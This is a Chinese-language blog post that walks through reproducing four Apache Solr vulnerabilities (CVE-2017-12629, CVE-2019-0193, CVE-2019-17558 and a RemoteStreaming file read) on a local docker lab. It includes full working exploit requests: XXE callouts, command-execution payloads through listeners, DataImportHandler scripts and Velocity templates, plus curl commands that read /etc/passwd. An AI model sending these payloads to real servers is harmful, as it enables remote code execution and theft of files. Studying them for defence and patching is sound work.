si1ent

Solr漏洞学习

2021-03-25

概述

现在已是Web时代,必然涉及到“搜索”,高效搜索、处理海量信息等功能;而以上功能必然需要搜索引擎的支持。我们不能使用Bing、Google等搜索内部资源信息,毕竟提供外部的Web需要让用户搜索是基于站内的资源检索并显示。

Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。

Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器,很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。

与Solr服务器通信的唯一协议是HTTP,并且默认情况下无需身份验证即可访问,所以Solr容易受到web攻击(SSRF,CSRF等)。

特点

高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提 供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。

环境搭建

docker拉取

Solr

JDK

jdk8 否则会报错

image-20210318140506574

1
2
solr.cmd -p 8983
# 端口指定

image-20210318142640465

1
http://127.0.0.1:8983/solr/#/

image-20210318143129746

新建Core

image-20210318143306577

漏洞实战分类

CVE-2017-12629

漏洞描述

此CVE共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE)。

XXE

Lucene包括一个使用XML数据结构创建全功能Lucene查询的解析器。从5.1版本开始,在Sorl的搜索查询中就开始支持xml查询。而出现漏洞的关键点在于Lucene的XML解析器没有明确禁止外部实体的DOCTYPE声明和扩展,造成可以在XML文档中包含指向外部文件(file:// )或者外部URL(http:// )的特殊实体。

RCE

Solr的RunExecutableListener类可用于对特定事件执行任意命令,例如在每次更新查询后执行(postCommit)。该漏洞的问题点在于这样的监听器可以通过带有add-listener命令的Config API来启用任意参数。

影响范围

Apache Solr <= 7.1.0

Apache Lucene <= 7.1

Apache-Solr < 7.1 版本受rce攻击影响

XXE漏洞影响版本在5.1-7.0.1

漏洞原理

XXE

Lucene包括一个使用XML数据结构创建全功能Lucene查询的解析器。从5.1版本开始,在Sorl的搜索查询中就开始支持xml查询。而出现漏洞的关键点在于Lucene的XML解析器没有明确禁止外部实体的DOCTYPE声明和扩展,造成可以在XML文档中包含指向外部文件(file:// )或者外部URL(http:// )的特殊实体。

RCE

Solr的RunExecutableListener类可用于对特定事件执行任意命令,例如在每次更新查询后执行(postCommit)。该漏洞的问题点在于这样的监听器可以通过带有add-listener命令的Config API来启用任意参数。

漏洞条件

Apache Solr <= 7.1.0

Apache Lucene <= 7.1

漏洞检测

1、XXE检测

1
http://192.168.20.120:8983/solr/#/

image-20210315201603729

2、nc监听

1
nc -lvp 4444

3、URL请求

1
http://192.168.20.120:8983/solr/demo/select?q={!xmlparser%20v=%27%3C!DOCTYPE%20a%20SYSTEM%20%22http://192.168.20.120:4444/si1ent%22%3E%3Ca%3E%3C/a%3E%27}

image-20210318194813420

发现XML请求响应数据

4、创建集合

(docker里已经包含demo的集合,这里直接使用,如还不存在集合请执行以下命令。)

1
http://192.168.20.120:8983/solr/admin/collections?action=CREATE&name=si1ent&numShards=2&maxShardsPerNode=2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /solr/demo/config HTTP/1.1
Host: 192.168.20.120:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 157

{
"add-listener":{
"event":"postCommit",
"name":"newlistener",
"class":"solr.RunExecutableListener",
"exe":"sh",
"dir":"/bin/",
"args":["-c", "touch /tmp/si1ent"]
}
}

image-20210315204440565

5、执行update更新集合

1
2
3
4
5
6
7
8
9
10
POST /solr/demo/update HTTP/1.1
Host: 192.168.20.120:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 17

[{"id":"test"}]

image-20210315204454993

6、检测文件是否存在

1
➜  CVE-2017-12629-XXE docker exec 660c555d2410 ls -al /tmp

image-20210315204629168

文件创建完成
漏洞修复

1、升级到7.1最新版本

2、使用参数-Ddisable.configEdit=true来运行Solr实例

3、Solr添加授权控制

CVE-2019-0193

漏洞描述

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

影响范围

Apache Solr < 8.2.0 并且开启了DataImportHandler模块

Solr>=8.2.0版安全。因为从Solr>=8.2.0版开始,默认不可使用dataConfig参数,想使用此参数需要将Java System属性“enable.dih.dataConfigParam”设置为true。

只有当Solr>=8.2.0但是主动将Java System属性“enable.dih.dataConfigParam”设置为true,才存在漏洞。

漏洞原理

Apache Solr如果启用了DataImportHandler模块,因为它支持使用web请求来指定配置信息”DIH配置” ,攻击者可构造HTTP请求指定dataConfig参数的值(dataConfig内容),dataConfig内容完全可控(多种利用方式),后端处理的过程中,可导致命令执行。

漏洞条件

1.Apache Solr的DataImportHandler启用了模块DataImportHandler(默认情况下该模块不会被启用)
2.Solr Admin UI未开启鉴权认证。(默认情况下打开web界面无需任何认证)

漏洞检测

1、漏洞环境

CVE-2019-0193

image-20210324170636036

2、搭建测试环境

1
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

image-20210324170739729

3、URL访问

1
http://192.168.20.120:8983/solr/#/test/core-overview

image-20210324170852566

4、选择”Dataimport”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/si1ent");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>

image-20210324171140363

5、POST数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /solr/test/dataimport?_=1616576951258&indent=on&wt=json HTTP/1.1
Host: 192.168.20.120:8983
Content-Length: 678
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.192 Safari/537.36
Content-type: application/x-www-form-urlencoded
Origin: http://192.168.20.120:8983
Referer: http://192.168.20.120:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: splunkweb_csrf_token_8000=6133015747182714908; token_key=6133015747182714908; experience_id=f7332b8b-9a06-84d7-c53a-b89a0d7efc2b; splunkweb_uid=BE681E15-3305-475F-BFD1-FC703F11B8CF; has_js=1; SESS555e2c409fffd33b4705e938aa8ef008=llJrPLtJzAA90iuIsYDJiWKpb9h6pnD6yqNoxE5iBkU; Drupal.toolbar.collapsed=0
Connection: close

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsi1ent%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport

6、查看PoC测试结果

image-20210324172032073

命令执行成功
漏洞修复

1、更新至最新版本

CVE-2019-17558

漏洞描述

在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

漏洞范围

5.0.0 到 8.3.1

漏洞原理

在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

漏洞条件

在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

漏洞检测

1、docker

docker

image-20210324200124520

2、

默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

1
http://192.168.20.120:8983/solr/admin/cores?indexInfo=false&wt=json

image-20210324200218119

3、

通过如下请求开启params.resource.loader.enabled,其中API路径包含刚才获取的core名称:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /solr/demo/config HTTP/1.1
Host: 192.168.20.120:8983
Content-Type: application/json
Content-Length: 259

{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}

4、注入Velocity模板即可执行任意命令:

1
http://192.168.20.120:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

image-20210324200600751

如上所示命令执行成功
漏洞修复

1、更新至最新版本

Solr任意文件读取

漏洞描述

Apache Solr的某些功能存在过滤不严格,在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或文件读取漏洞。

漏洞范围

Apache Solr <= 8.8.1

漏洞原理

在未开启认证的情况下,攻击者可直接构造特定请求获取目标主机内敏感文件及资源。

漏洞条件

漏洞检测

1、docker环境

最新的Solr

Solr任意文件读取

1
➜  Remote-Streaming-Fileread docker-compose up -d

2、URL访问

1
http://192.168.20.120:8983/solr/#/

image-20210325171532705

3、获取敏感信息

1
http://192.168.20.120:8983/solr/admin/cores?indexInfo=false&wt=json

image-20210325170653561

4、发送如下数据包,修改数据库demo的配置,开启RemoteStreaming

1
2
3
curl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
$'http://192.168.20.120:8983/solr/demo/config'

image-20210325170913366

5、再通过stream.url读取任意文件:

1
curl -i -s -k 'http://192.168.20.120:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

image-20210325170950983

漏洞修复

官方无修复版本

Referer

1
2
3
4
http://oddboy.cn/2017/Apache-Solr-XML%E5%A4%96%E9%83%A8%E5%AE%9E%E4%BD%93%E6%89%A9%E5%B1%95XXE%E5%8F%8A%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8CRCE-CVE-2017-12629/
https://xz.aliyun.com/t/5965
https://github.com/vulhub/vulhub/tree/master/solr/
https://github.com/vulhub/vulhub/blob/master/solr/Remote-Streaming-Fileread/README.zh-cn.md
Tags: Solr
使用支付宝打赏
使用微信打赏

若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏

扫描二维码,分享此文章